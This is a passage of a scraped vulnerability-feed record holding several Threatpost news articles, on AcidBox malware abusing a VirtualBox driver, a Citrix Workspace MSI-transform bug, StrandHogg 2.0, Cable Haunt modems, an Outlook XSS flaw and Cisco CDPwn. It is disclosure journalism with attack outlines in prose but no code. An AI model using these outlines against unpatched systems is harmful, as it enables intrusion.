vulnerabilities \u2014 of which, only one was ever fixed [with CVE-2008-3431],\u201d Unit 42 wrote in [its report posted](<https://unit42.paloaltonetworks.com/acidbox-rare-malware/>) Wednesday. The Turla Group malware, researchers said, also targeted a second DSE vulnerability tied to a signed VirtualBox driver (VBoxDrv.sys v1.6.2) using what would later be identified as AcidBox malware.[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nFast forward to 2019, and that\u2019s when Unit 42 said it first discovered a sample of AcidBox that had been uploaded to VirusTotal. Researchers then traced the AcidBox malware to fresh attacks against the VirtualBox driver VBoxDrv.sys v1.6.2, along with all other versions up to v3.0.0 (the current VirtualBox version is 6).\n\n\u201cBecause of the malware\u2019s complexity, rarity, and the fact that it\u2019s part of a bigger toolset, we believe it was used by an advanced threat actor for targeted attacks and it\u2019s likely that this malware is still being used today if the attacker is still active,\u201d wrote Dominik Reichel and Esmid Idrizovic, researchers with Palo Alto Networks\u2019 Unit 42 team.\n\nDespite similarities between the Turla Group and the cybergang behind the recent VirtualBox attacks, researchers said the two threat groups are not linked. [Turla](<https://securelist.com/turla-renews-its-arsenal-with-topinambour/91687/>), also known as Venomous Bear, Waterbug and Uroboros, is a Russian-speaking threat actor known since 2014.\n\n## **VirtualBox Exploit**\n\nThe exploit that was used by Turla abuses two vulnerabilities. The first flaw ([CVE-2008-3431](<https://www.cvedetails.com/cve/CVE-2008-3431/>)), fixed in 2008, exists in the VBoxDrvNtDeviceControl function in VBoxDrv.sys. The function does not properly validate a buffer associated with the Irp object, allowing local users to gain privileges by opening the \\\\\\\\.\\VBoxDrv device and calling DeviceIoControl to send a crafted kernel address.\n\nHowever, the second vulnerability is still unpatched, and was used in a newer version of Turla\u2019s exploit, which researchers believe was introduced in 2014 in the threat group\u2019s kernelmode malware. It is this exploit that the yet-to-be-known threat actor behind AcidBox leveraged in the 2017 attack against the two Russian firms.\n\nReichel told Threatpost that the unpatched flaw \u201cnever got a CVE since it was naturally (i.e. unintentionally) patched in version 3.0.0.\u201d\n\n\u201c[AcidBox] uses a known VirtualBox exploit to disable Driver Signature Enforcement in Windows, but with a new twist: While it\u2019s publicly known that VirtualBox driver VBoxDrv.sys v1.6.2 is vulnerable and used by Turla, this new malware uses the same exploit but with a slightly newer VirtualBox version,\u201d said researchers.\n\n## **The Malware**\n\nThe AcidBox malware itself is a complex modular toolkit. Researchers only have access to a small part of this toolkit. They found four 64-bit usermode DLLs and an unsigned kernelmode driver. Three (out of those four usermode samples (msv1_0.dll, pku2u.dll, wdigest.dll) have identical functionality and are loaders for the main worker module, researchers said.\n\nResearchers also noted that attackers are using their own DEF files (instead of __declspec(dllexport), which adds the export directive to the object file so users do not need to use a DEF file) to give instructions for when to import or export its DLLs. A DEF file (or module-definition file) is a text file containing one or more module statements that describe various attributes of a DLL. When a DEF file is used, attackers can choose which ordinal their export function will have.\n\n\u201cThis is not possible with __declspec(dllexport) as the Visual Studio compiler always counts your functions starting from one,\u201d said researchers. \u201cUsing a DEF file instead of __declspec(dllexport) has some advantages. You are able to export functions by ordinals and you can also redirect functions among other things. The disadvantage is that you have to maintain an additional file within your project.\u201d\n\nReichel told Threatpost there\u2019s still a lot of unknowns about the malware, but he\u2019s \u201cencouraging the cybersecurity community to help collaborate with us and share any additional information about this threat if they have it,\u201d he said.\n\nMoving forward, AcidBox is a \u201cvery rare\u201d malware that is probably used in highly targeted attacks, researchers said.\n\n\u201cWhile AcidBox doesn\u2019t use any fundamentally new methods, it breaks the myth that only VirtualBox VBoxDrv.sys 1.6.2 can be used for Turla\u2019s exploit,\u201d they said. \u201cAppending sensitive data as an overlay in icon resources, abusing the SSP interface for persistence and injection and payload storage in the Windows registry puts it into the category of interesting malware.\u201d\n\n**_Insider threats are different in the work-from home era. On _**[**_June 24 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/3265005683762389007?source=ART>)**_, join the Threatpost edit team and our special guest, Gurucul CEO Saryu Nayyar, for a FREE webinar, \u201c_**_**The Enemy Within: How Insider Threats Are Changing.\u201d **_**_Get helpful, real-world information on how insider threats are changing with WFH, what the new attack vectors are and what companies can do about it_**_**. **_[**_Please register here_**](<https://attendee.gotowebinar.com/register/3265005683762389007?source=ART>)**_ for this Threatpost webinar._**\n", "cvss3": {}, "published": "2020-06-17T22:12:04", "type": "threatpost", "title": "AcidBox Malware Uncovered Using Repurposed VirtualBox Exploit", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2008-3431", "CVE-2020-5135"], "modified": "2020-06-17T22:12:04", "id": "THREATPOST:B9A8F6E46618F5253194C38A1808CF9C", "href": "https://threatpost.com/acidbox-malware-uncovered-using-repurposed-virtualbox-exploit/156653/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:13:24", "description": "A Citrix Workspace vulnerability that was fixed in July has been found to have a secondary attack vector, which would allow cybercriminals to elevate privileges and remotely execute arbitrary commands under the SYSTEM account.\n\nThe bug (CVE-2020-8207), exists in the automatic update service of the Citrix Workspace app for Windows. It could allow local privilege-escalation as well as remote compromise of a computer running the app when Windows file sharing (SMB) is enabled, according to the [Citrix advisory](<https://support.citrix.com/article/CTX277662>).\n\nThe bug, though mostly fixed over the summer, was recently found to still allow attackers to abuse Citrix-signed MSI installers, according to Pen Test Partners (MSI is the filename extension of Windows Installer packages). This turns the bug into a remote command-line injection vulnerability.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe update service [originally relied](<https://www.pentestpartners.com/security-blog/raining-system-shells-with-citrix-workspace-app/>) on a faulty file hash within a JSON payload to determine if an update should proceed or not \u2013 allowing attackers to download their own code by exploiting the weak hash. To fix the problem, the latest update catalogs are now directly downloaded from the Citrix update servers, and the service \u201ccross-references the hashes with the file that is requested for install from the UpdateFilePath attribute,\u201d wrote researchers at Pen Test Partners, in a [Monday posting](<https://www.pentestpartners.com/security-blog/the-return-of-raining-system-shells-with-citrix-workspace-app/>).\n\n\u201cIf the update file is signed, valid and the hash of the update file matches one of the files within the manifest, the update file is executed to perform the upgrade,\u201d they explained.\n\nHowever, the patch didn\u2019t prevent remote connectivity to limit the attack surface.\n\n\u201cThe catalog includes executables and MSI files for installation,\u201d according to the firm. \u201cMSI files on the other hand cannot be executed in the same way as executable files, therefore the update service must handle these differently.\u201d\n\nIn looking at the installer-launch code, the researchers found that the application checks the extension of the file requested for update, and if it ends with MSI, it is assumed to be a Windows Installer file. Since the MSI file is checked for a valid signature and is cross-referenced with the current catalog, attackers can\u2019t directly install arbitrary MSI files.\n\nEven though the MSI files are signed and hashed to prevent modification, one of the features supported by the Windows Installer is MSI Transforms (MST).\n\n\u201cAs the name suggests, MSI Transforms support altering or transforming the MSI database in some way prior to installation,\u201d according to Pen Test Partners. \u201cDomain administrators commonly use this feature to push out MSI files within Active Directory environments that do not always work in an unattended way when executed on their own. For example, an MST might be created that will inject a product activation code prior to installing.\u201d\n\nTo apply an MST, users would specify the path to the transform file on the command line, which merges the main MSI file with changes that are present within the MST file during the installation process.\n\nTherein lies the bug: \u201cSince we can control the arguments passed to msiexec, we can include the path to a malicious Transform but using an official, signed Citrix MSI that is present within the catalog file,\u201d researchers said.\n\nMalicious Transforms can be generated with an existing tool called [Microsoft Orca](<https://docs.microsoft.com/en-us/windows/win32/msi/orca-exe>), they added, or with a custom tool. Then, to exploit the vulnerability, attackers would place the original MSI installer and the MST onto a network share ready for the victim machine.\n\n\u201cBoth the local and remote privilege-escalation methods can only be exploited while an instance of CitrixReceiverUpdate.exe is running on the victim host as before,\u201d the researchers concluded. \u201cI think the remote vector is easier to exploit this time around since you can place both MSI and MST files on a network share under the attacker\u2019s control.\u201d\n\nCitrix Workspace for Windows users should update their apps to [the latest version](<https://www.citrix.com/downloads/workspace-app/windows/>), containing a revised patch.\n", "cvss3": {}, "published": "2020-09-22T17:20:21", "type": "threatpost", "title": "Known Citrix Workspace Bug Open to New Attack Vector", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135", "CVE-2020-8207"], "modified": "2020-09-22T17:20:21", "id": "THREATPOST:85A0FA8DF1A997221A2F71AF5B8CC3E8", "href": "https://threatpost.com/citrix-workspace-new-attack/159459/", "cvss": {"score": 6.0, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:17:24", "description": "Cisco Systems is warning of a high-severity flaw affecting more than a half-dozen of its small business switches. The flaw could allow remote, unauthenticated attackers to access the switches\u2019 management interfaces with administrative privileges.\n\nSpecifically affected are Series Smart Switches, Series Managed Switches and Series Stackable Managed Switches. Cisco said it was unaware of active exploitation of the vulnerabilities. Software updates remediating the flaws are available for some of the affected switches, however, others have reached end of life (EOL) and will not receive a patch.\n\nThe flaw (CVE-2020-3297), which ranks 8.1 out of 10.0 on the CVSS scale, stems from use of weak entropy generation for session identifier values, a Wednesday Cisco security advisory said.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAn attacker could exploit this vulnerability to determine a current session identifier through brute force and reuse that session identifier to take over an ongoing session,\u201d according to [Cisco\u2019s advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sbswitch-session-JZAS5jnY>).\n\nIn this way, an attacker can defeat authentication protections for the devices and obtain the privileges of the highjacked session account. If the victim is an administrative user, the attacker could gain administrative privileges on the device.\n\nSpecifically affected by the issue are: Cisco 250 Series Smart Switches, 350 Series Managed Switches, 350X Series Stackable Managed Switches, 550X Series Stackable Managed Switches, Small Business 200 Series Smart Switches, Small Business 300 Series Managed Switches and Small Business 500 Series Stackable Managed Switches.\n\nCisco has fixed the issue in firmware release 2.5.5.47. This update will apply to the 250 Series Smart Switches, 350 Series Managed Switches, 350X Series Stackable Managed Switches, 550X Series Stackable Managed Switches.\n\nHowever, Cisco said, the Small Business 200 Series Smart Switches, Small Business 300 Series Managed Switches and Small Business 500 Series Stackable Managed Switches have passed the end-of-software-maintenance milestone.\n\n\u201cAlthough these switches are vulnerable, Cisco will not provide a firmware fix,\u201d said the company.\n\nCisco on Wednesday also released patches for a [slew of medium-severity flaws](<https://tools.cisco.com/security/center/publicationListing.x>), including ones in its small business RV042 and RV-042G routers, its Digital Network Architecture Center, its identity services engine, its Unified Customer Voice Portal, Unified Communications products and AnyConnect Security Mobility Client.\n\n[Earlier in June](<https://threatpost.com/cisco-webex-router-code-execution/156706/>), the networking giant also stomped out three high-severity flaws in its popular Webex web conferencing app, including one that could allow an unauthenticated attacker to remotely execute code on impacted systems.\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a _**[**_FREE webinar_**](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>)**_, \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>)**_for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-07-01T21:02:00", "type": "threatpost", "title": "Cisco Warns of High-Severity Bug in Small Business Switch Lineup", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-3297", "CVE-2020-5135"], "modified": "2020-07-01T21:02:00", "id": "THREATPOST:88ED6BF6458FC657DACB44E3795710C1", "href": "https://threatpost.com/cisco-warns-high-severity-bug-small-business-switch/157090/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:24:43", "description": "A critical privilege-escalation vulnerability affecting Android devices has been found that allows attackers to hijack any app on an infected phone \u2013 potentially exposing private SMS messages and photos, login credentials, GPS movements, phone conversations and more.\n\nThe bug is dubbed the \u201cStrandHogg 2.0\u201d vulnerability (CVE-2020-0096) by the Promon researchers who found it, due to its similarity to the [original StrandHogg bug](<https://threatpost.com/strandhogg-vulnerability-allows-malware-to-pose-as-legitimate-android-apps/150750/>) discovered last year. Like the original, a malicious app installed on a device can hide behind legitimate apps. When a normal app icon is clicked, a malicious overlay is instead executed, which can harvest login credentials for the legitimate app.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nHowever, Version 2.0 allows for a wider range of attacks. The main difference with the new bug is that exploits are carried out through reflection, \u201callowing malicious apps to freely assume the identity of legitimate apps while also remaining completely hidden,\u201d researchers explained, in [a white paper](<https://promon.co/strandhogg-2-0/>) published on Tuesday. The original StrandHogg allowed attacks via the TaskAffinity Android control setting.\n\n\u201cStrandHogg 2.0\u2026has learned how to, with the correct per-app tailored assets, dynamically attack nearly any app on a given device simultaneously at the touch of a button, unlike StrandHogg which can only attack apps one at a time,\u201d according to the research.\n\nAttackers would first inject the original launcher activity of the apps they are targeting with their own attack activity. The task will appear to be the original task belonging to the app; however, the attack activity that has been placed into the task is what the user will actually see when the task is activated.\n\n\u201cAs a result, the next time the app is invoked, for instance, by a user clicking its app icon, the Android OS will evaluate the existing tasks and find the task we created,\u201d according to the white paper. \u201cBecause it looks genuine to the app, it will bring the task we created to the foreground and with it our attack will now be activated.\u201d\n\nThe Promon researchers have published a proof-of-concept video of how an exploit would work:\n\n\u201cMobile apps practically have a target painted on their back. Promon\u2019s recent malware vulnerability discovery dubbed \u201cStrandHogg 2.0\u2033 is the latest example of what dangerous malware could do if exploited in the wild \u2013 possibly exposing Android users\u2019 mobile banking credentials and access one-time-passwords sent via SMS,\u201d said Sam Bakken, senior product marketing manager at OneSpan, via email.\n\nStrandHogg 2.0 attacks are also more difficult to detect, researchers wrote.\n\n\u201cAttackers exploiting StrandHogg have to explicitly and manually enter the apps they are targeting into Android Manifest, with this information then becoming visible within an XML file which contains a declaration of permissions, including what actions can be executed,\u201d they explained. \u201cThis declaration of required code, which can be found within the Google Play store, is not the case when exploiting StrandHogg 2.0.\u201d\n\nAttackers can further hide their activities due to the fact that StrandHogg 2.0 requires root access or external configuration, and code obtained from Google Play will not initially appear suspicious to developers and security teams.\n\nNo attacks have thus been seen in the wild, but researchers theorize that it\u2019s only a matter of time before they appear. Promon said that it expects threat actors to use both the original StrandHogg bug and the new version together, in order to broaden their attack surface: Many of the mitigations that can be executed against StrandHogg do not apply to StrandHogg 2.0 and vice-versa, Promon said.\n\n\u201cWe see StrandHogg 2.0 as StrandHogg\u2019s even more evil twin,\u201d said Tom Lysemose Hansen, CTO at Promon. \u201cAttackers looking to exploit StrandHogg 2.0 will likely already be aware of the original StrandHogg vulnerability and the concern is that, when used together it becomes a powerful attack tool for malicious actors.\u201d\n\nGoogle [has issued a patch](<https://threatpost.com/google-android-rce-bug-full-device-access/155460/>) for Android versions 9, 8.1 and 8, but users on earlier versions (representing 39.2 percent of Android devices, researchers said) will remain vulnerable. StrandHogg 2.0 exploits do not impact devices running Android 10, so users should update their devices to the latest firmware in order to protect themselves from attacks.\n\n\u201cWith a significant proportion of Android users reported to still be running older versions of the OS, a large percentage of the global population is still at risk,\u201d the researchers said.\n\nIn fact, according to data from Google, as of April 2020, 91.8 percent of Android active users worldwide are on version 9.0 or earlier: Pie (2018), Oreo (2017), Nougat (2016), Marshmallow (2015), Lollipop (2014), KitKat (2013), Jellybean (2012) and Ice Cream Sandwich (2011).\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On _**[**_June 3 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_, join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, _**[**_Taming the Unmanaged and IoT Device Tsunami_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_. Get exclusive insights on how to manage this new and growing attack surface. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_ for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-05-26T21:03:10", "type": "threatpost", "title": "StrandHogg 2.0 Critical Bug Allows Android App Hijacking", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0096", "CVE-2020-5135"], "modified": "2020-05-26T21:03:10", "id": "THREATPOST:B18EFE773F83789508C61F27321B9FAA", "href": "https://threatpost.com/strandhogg-2-critical-bug-android-app-hijacking/156058/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:26:25", "description": "UPDATED\n\nMultiple cable modems used by ISPs to provide broadband into homes have a critical vulnerability in their underlying reference architecture that would allow an attacker full remote control of the device. The footprint for the affected devices numbers in the hundreds of millions worldwide.\n\nDubbed \u201cCable Haunt\u201d by researchers at Lyrebirds, the bug (CVE-2019-19494) is found in cable modems across multiple vendors, including Arris, COMPAL, Netgear, Sagemcom, Technicolor and others. It originated in reference software written by Broadcom, researchers said, which has been copied by different cable-modem manufacturers and used in the devices\u2019 firmware. The bug essentially allows a buffer overflow, which could enable a remote attacker to execute arbitrary code at the kernel level via JavaScript run in a victim\u2019s browser, according to the [CVE writeup](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19494>).\n\nMore specifically, \u201cthe cable modems are vulnerable to a DNS rebind attack followed by overflowing the registers and executing malicious functionality,\u201d explained the researchers, in a [technical paper](<https://cablehaunt.com/>) on the attack. \u201cThe exploit is possible due to lack of protection against DNS rebind attacks, default credentials and a programming error in the spectrum analyzer.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nLyrebirds researchers said that 200 million modems are potentially affected in Europe alone; they focused their research on European ISPs, many of which are already rolling out updates to fix the flaw. However, many of the same modems are used in North America, so Cable Haunt isn\u2019t restricted by geography. Users can check to see if they\u2019re affected using a [test script](<https://github.com/Lyrebirds/cable-haunt-vulnerability-test>) that the researchers released in tandem with the bug details.\n\nAs far as U.S. ISPs, \u201cwe are rapidly testing all our in-home broadband equipment, determining any vulnerability and the best steps to mitigate, as needed,\u201d a Cox spokesperson told Threatpost.\n\nA Charter spokesperson meanwhile told us that Charter is \u201ccurrently working with each of our vendors to determine if their equipment is vulnerable and when we could expect to see a firmware upgrade.\u201d\n\nComcast, for its part, did not return a request for comment.\n\n## The Attack\n\nIn a [proof-of-concept (PoC) exploit](<https://github.com/Lyrebirds/sagemcom-fast-3890-exploit>), researchers were able to demonstrate a two-step attack: First, they compromised the spectrum analyzer component on board a modem, which resulted in local access. The spectrum analyzer uses a websocket for communication with the graphical frontend displayed in a browser, and a server must verify the relevant request parameters added by the browser. However, \u201cbecause these parameters are never inspected by the cable modem, the websocket will accept requests made by JavaScript running in the browser regardless of origin, thereby allowing attackers to reach the endpoint,\u201d researchers explained.\n\nIn the second step, they show that a DNS rebind attack can be used to gain remote access to the compromised spectrum analyzer. [DNS rebinding](<https://www.tripwire.com/state-of-security/vert/practical-attacks-dns-rebinding/>) is a technique that turns a victim\u2019s browser into a proxy for attacking private networks.\n\n\u201cWithout this DNS rebind attack, the spectrum analyzer would only be exploitable on the local network,\u201d they wrote.\n\nThrough malicious communication with the endpoint, a buffer overflow can be exploited to gain control of the modem.\n\n\u201cThe websocket requests are given as JSON,\u201d the paper explained. \u201cThe parser which interprets this JSON request will copy the input parameters to a buffer, regardless of length, allowing values on the stack to be overwritten. Among these values are saved registers, such as the program counter and return address. With a carefully crafted message the modem can be manipulated to execute arbitrary code specified by a remote attacker.\u201d\n\nIf successfully exploited, the vulnerabilities can give attackers \u201cfull remote control over the entire unit, and all the traffic that flows through it, while being invisible for both the user and ISP,\u201d the researchers explained, adding that attackers could intercept private messages, redirect traffic, add the modems to botnets, replace their firmware and more. They could also direct the modem to ignore remote system updates, which could complicate any patching process.\n\n_**This post was updated at 11:30 a.m. ET on Jan, 14, 2020 to include statements from the top U.S. cable companies.**_\n\n_**Concerned about mobile security? **_[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) _**Top 8 Best Practices for Mobile App Security**__**, on Jan. 22 at 2 p.m. ET. **_**_Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts to discuss the secrets of building a secure mobile strategy, one app at a time._** [_**Click here to register**_](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)_**.**_\n", "cvss3": {}, "published": "2020-01-13T15:37:58", "type": "threatpost", "title": "'Cable Haunt' Bug Plagues Millions of Home Modems", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19494", "CVE-2020-5135"], "modified": "2020-01-13T15:37:58", "id": "THREATPOST:E54A6B6E04C21B79F588B156DC5704F8", "href": "https://threatpost.com/cable-haunt-remote-code-execution/151756/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:28:38", "description": "Users of the Microsoft Outlook for Android app should update their apps to avoid a range of attacks.\n\nThe bug (CVE-2019-1460) would allow an attacker to perform cross-site scripting (XSS) attacks on the affected systems and run scripts in the security context of the current user, according to Microsoft\u2019s [advisory on the bug](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1460#ID0EA>). XSS occurs when malicious parties [inject client-side scripts](<https://www.owasp.org/index.php/Cross-site_Scripting_\$XSS\$>) into web pages, which trick the unsuspecting user\u2019s browser into thinking that the script came from a trusted source.\n\nIn this case, the computing giant said that the issue exists in the way Microsoft Outlook for Android software parses specifically crafted email messages \u2013 thus, an attacker could exploit the vulnerability by sending just such an email. Czech firm Cybersecurity Help said in a [posting this week](<https://www.tenforums.com/windows-10-news/144873-cve-2019-1460-outlook-android-spoofing-vulnerability.html#post1774661>) that the problem was an \u201cImproper Neutralization of Input During Web Page Generation\u201d problem that exists due to insufficient sanitization of user-supplied data.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe adversary would need to be authenticated to the same network as the potential victim in order to carry out an attack, Microsoft said.\n\nA [write-up by Symantec](<https://www.symantec.com/security-center/vulnerabilities/writeup/110911?om_rssid=sr-advisories>) said that an attacker can exploit this issue to conduct spoofing attacks, while Cybersecurity Help added that an attacker could \u201csteal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.\u201d\n\nUsers should ensure that they have the [latest version of the app](<https://play.google.com/store/apps/details?id=com.microsoft.office.outlook>), and update it manually if they haven\u2019t received an auto-update.\n\nBeyond installing that update, Symantec also noted that mitigation includes running the software as a nonprivileged user with minimal access rights.\n\nResearcher Rafael Pablos was credited with finding the bug, which Microsoft rates as \u201cimportant\u201d in severity. It\u2019s listed as having a 5.6 out of 10 severity rating on the CVSS v.3 vulnerability rating scale.\n\n_**Is MFA enough to protect modern enterprises in the peak era of data breaches? How can you truly secure consumer accounts? Prevent account takeover? Find out: Catch our free, on-demand **_[_**Threatpost webinar**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=post>)_**, \u201cTrends in Fortune 1000 Breach Exposure\u201d to hear advice from breach expert Chip Witt of SpyCloud. **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=post>)_**.**_\n", "cvss3": {}, "published": "2019-11-21T19:15:17", "type": "threatpost", "title": "Microsoft Outlook for Android Bug Opens Door to XSS", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-1460", "CVE-2020-5135"], "modified": "2019-11-21T19:15:17", "id": "THREATPOST:597800CEAF4F4832B357C491661792B5", "href": "https://threatpost.com/microsoft-outlook-android-bug-xss/150528/", "cvss": {"score": 3.5, "vector": "AV:N/AC:M/Au:S/C:N/I:P/A:N"}}, {"lastseen": "2020-10-14T22:31:47", "description": "Researchers on Wednesday disclosed five critical vulnerabilities in Cisco Discovery Protocol (CDP), the Cisco Proprietary Layer 2 network protocol that is used to discover information about locally attached Cisco equipment.\n\nResearchers say that the vulnerabilities, which they collectively call CDPwn, can allow attackers to remotely take over millions of devices. The flaws specifically exist in the parsing of CDP packets, in the protocol implementation for various Cisco products, from its software to IP cameras. Cisco issued patches on Wednesday addressing the five flaws, and is urging users to update as soon as possible.\n\nThreatpost talked to Ben Seri, VP of Research at Armis, who discovered the flaws, about the CDPwn flaws, their impact, and why Layer 2 protocols are an under-researched area.\n\n**[Listen to the full podcast below, or download direct here](<http://traffic.libsyn.com/digitalunderground/cisco_flaw_podcast.mp3>).**\n\n[\n\n](<http://iframe%20style=border:%20none%20src=//html5-player.libsyn.com/embed/episode/id/13028780/height/360/theme/legacy/thumbnail/yes/direction/backward/%20height=360%20width=100%%20scrolling=no%20%20allowfullscreen%20webkitallowfullscreen%20mozallowfullscreen%20oallowfullscreen%20msallowfullscreen/iframe>)\n\n_Below is a lightly-edited transcript of the podcast._\n\n**Lindsey O\u2019Donnell-Welch**: Hi, everyone, welcome back to the Threatpost podcast. You\u2019ve got Lindsey O\u2019Donnell-Welch with Threatpost here. And I\u2019m joined today by Ben Seri, the VP of research at Armis, to discuss some newly disclosed vulnerabilities that have been found in Cisco equipment. So Ben, thank you so much for joining.\n\n**Ben Seri: **Thank you.\n\n**LO: **So Armis discovered five vulnerabilities that were disclosed today. And those are stemming from the Cisco Discovery Protocol, aka CDP, which is the info sharing layer that maps all Cisco equipment on a network. And you guys collectively called these flaws CDPwn. So just to start, tell us some more deep in depth about what is the Cisco Discovery Protocol, just for some context here.\n\n**BS:** Sure. Yes, so Cisco makes network appliances. And so from time to time, they invent these protocols that are then used by every product that they produce. And CDP is one of these protocols. It\u2019s a Discovery Protocol, as you mentioned, it\u2019s simply a way for Cisco devices to find one another in a network. It\u2019s a protocol that works simply with multicast [frames], or what is called broadcast, packets that are sent in the clear, inside the network. And every device, Cisco device, sends packets from time to time saying, \u2018Hi, my IP address is this, My name is this, my operating system is this\u2019 and all kinds of information and they collect the Cisco devices\u2019 information about one another, about their neighbors. And then when you have all kinds of Cisco management products, you\u2019re able to view all the Cisco devices in your network. So it\u2019s mainly about convenience. There are not many functional features other than convenience related that use CDP. But it\u2019s nevertheless enabled by default on all of Cisco products, in some of their products you can\u2019t actually turn it off. It\u2019s something that just remains on all the time. And like any protocol it introduces an attack surface that might contain vulnerabilities, like the ones that we found in this occasion.\n\n**LO:** Right. And that\u2019s really interesting that this can\u2019t be turned off as a function in certain devices. And I know that in your research, you mentioned this is something that\u2019s implemented in virtually all Cisco products from switches to routers to IP phones and IP cameras. So can you speak a little bit about the threat attack surface here and the level of devices that could be impacted by this?\n\n**BS:** Yeah so CDP, one of its interesting aspects is that it\u2019s a layer 2 protocol. It\u2019s something that is just very low in the stack, very basic in how the network, the packets are built from this protocol, and it\u2019s actually a layer where researchers don\u2019t look at too much. Most of the vulnerabilities are either in application layer, in rare cases they are the transportation layer, transport layer; and then, what is called the data link layer, or the layer 2, is where you have dozens of protocols, used by network appliances, switches and routers. And these are kind of an attack surface that is not enough researched.\n\nCisco Discovery Protocol is one of these and the vulnerabilities themselves are critical. When we found them, they were not known to Cisco or any other individual as far as we know. And we\u2019ve worked with Cisco on the patch mitigation process. And so when we are announcing this today, customers of Cisco are advised to go ahead and install the patches as quickly as possible.\n\nAnd so you asked about the wide array of devices impacted by this and that\u2019s true; you find this in the Cisco switches and routers; IP phones from Cisco; and these are devices that have a complete hold on the market in these fields. When you look at IP phones, for example, Cisco advertises that over 95 percent of Fortune 500 companies use Cisco communication solutions. So that these are the Cisco IP phones, for example, and you would find them in government offices and you\u2019d find them in the White House, and in the Situation Room, but also throughout corporate and trade floors and whatever. They\u2019re really prevalent devices.\n\nThat\u2019s the IP phone but Cisco network equipment, the switches and the routers, are very, very popular as well and the impact is severe in terms of what kind of attacks attackers can actually pull off using these vulnerabilities.\n\n**LO: **And I want to talk about that in a second. But I just wanted to ask you real quick, you mentioned before that CDP, there hasn\u2019t been a whole lot of research around it. I wanted to ask, you how you first came across these vulnerabilities and what caused you to look further into CDP as a potential threat surface for vulnerabilities. Because as you said, it usually is kind of the application layers and some other areas that vulnerabilities are discovered in, so how did you first come across these flaws?\n\n**BS:** Yeah so actually, what piqued our interest for looking into this was a Cisco security advisory published around two years ago, that detailed some vulnerabilities that they found in LDP, which is another Discovery Protocol \u2013 not CDP protocol \u2013 but another Discovery Protocol, pretty similar to CDP. And this advisory mentioned that Cisco found some bugs that could lead to denial of service in a wider array of devices. And although this wasn\u2019t what is called RCE vulnerability, or remote code execution, what they discovered was some sort of buffer overflow. And we felt that if they internally found something that actually parses these packets, the LDP packets, in a way that can lead to vulnerabilities, then we might find similar stuff that can lead to critical vulnerabilities.\n\nAnd really the reason that we looked at it, other than this initial lead we had through Cisco\u2019s advisory, was the understanding that an attacker that has a vulnerability in these types of protocols has the ability to break network segmentation. Part of what we do is to try understand the havoc that IoT devices might have on networks. And network segmentation is actually a very basic design tool for networks to prevent certain devices, such as IoT devices, from crossing the bounds over from the IoT segment into corporate segments. And in CDP and LDP, and these discovery protocols, layer 2 protocols, they\u2019re actually parsed by the network of clients, regardless of the segment, regardless of if the device connected to it is an IoT segment, or in the corporate segment. So yeah, the understanding here was \u201cokay, this is interesting,\u201d Cisco found something in LDP, this would mean an IoT device could attack the switch even if it\u2019s segmented, then having access to this switch, it can move over to other segments. So that was our motivation to try and understand if this attack surface might contain vulnerabilities, like the ones eventually that we found.\n\n**LO: **Right. And that was for me a huge highlight from the 